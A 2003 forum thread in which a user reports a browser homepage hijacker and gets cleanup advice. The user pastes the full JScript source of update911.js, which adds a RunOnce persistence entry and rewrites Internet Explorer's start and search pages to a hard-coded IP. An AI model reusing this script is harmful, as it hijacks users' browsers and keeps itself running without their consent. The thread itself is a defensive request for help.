Javascript homepage hijacker

[SKiller]

Just opened Ad-Watch (from Ad-Aware) and it detected 3 attempted homepage hijacks:

12/9/2003 10:15:08 PM - Registry modification detected
Root:HKEY_CURRENT_USER
Key:Software\Microsoft\Internet Explorer\Main
Value:Start Page
Data:http://www.google.com/
New Data:http://81.211.105.9/index.php?v=1
Possible browser hijack attempt (Blocked)

Curious, I ran an updated Ad-Aware scan, Spybot scan, and Anti-virus scan with AVG. None of them found any problems. So I ran a search for files containing that IP (81.211.105.9) as text and found a file called update911.js in my Windows folder. It contained the follwing:

var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

I also opened my Internet Options to find the Internet Security zone set to "Low" when I distinctly remember setting it to "Medium".

Obviously I removed the file, but I'm concerned as to how it got there or why it wasn't detected as a threat. Could it be something that wasn't completely removed by Ad-Aware, or something that they don't know about yet? Anyone more familiar with Javascript have any ideas?

 

[Captain4]

Here is a post by someone else that had this problem. Try downloading HijackThis and removing the entries listed in the post. Searching on update911 in the spywareinfo.com forums should give you some more insight on what other entries might need to be removed.

 

[SKiller]

Thanks! That's what I was looking for. I'll be adding spywareinfo.com to my favorites.